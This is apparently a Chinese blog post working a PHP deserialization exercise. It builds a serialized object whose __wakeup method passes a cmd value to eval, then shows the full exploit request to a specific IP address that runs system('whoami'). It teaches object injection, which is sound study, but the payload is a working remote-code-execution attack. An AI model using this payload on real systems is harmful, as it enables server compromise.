反序列化漏洞练习1

根据代码可以看出来sis类只是接收了参数cmd,下边是通过get获得cmd的值,所以可以在序列化过程中直接为cmd赋值。

根据源码编写序列化代码

php 复制代码
<?php
class sis{
    public $cmd='system("whoami");?>';
    public function __wakeup(){
        eval($this->cmd);
    }
}
$a = new sis;
echo serialize($a);
?>

为cmd赋值后,直接将整个sis类序列化

访问该代码

得到序列化的sis,将序列化后的sis以get的方式为cmd传参

124.221.58.83:81/s1.php?cmd=O:3:"sis":1:{s:3:"cmd";s:19:"system("whoami");?>";}

完成

相关推荐
好一点,更好一点13 分钟前
systemC示例
开发语言·c++·算法
不爱学英文的码字机器16 分钟前
[操作系统] 环境变量详解
开发语言·javascript·ecmascript
Lysun00120 分钟前
vue2的$el.querySelector在vue3中怎么写
前端·javascript·vue.js
martian66520 分钟前
第17篇:python进阶:详解数据分析与处理
开发语言·python
五味香25 分钟前
Java学习,查找List最大最小值
android·java·开发语言·python·学习·golang·kotlin
时韵瑶30 分钟前
Scala语言的云计算
开发语言·后端·golang
卷卷的小趴菜学编程34 分钟前
c++之List容器的模拟实现
服务器·c语言·开发语言·数据结构·c++·算法·list
jerry-8939 分钟前
Centos类型服务器等保测评整/etc/pam.d/system-auth
java·前端·github
工业甲酰苯胺41 分钟前
深入解析 Spring AI 系列:解析返回参数处理
javascript·windows·spring
小爬菜1 小时前
Django学习笔记(启动项目)-03
前端·笔记·python·学习·django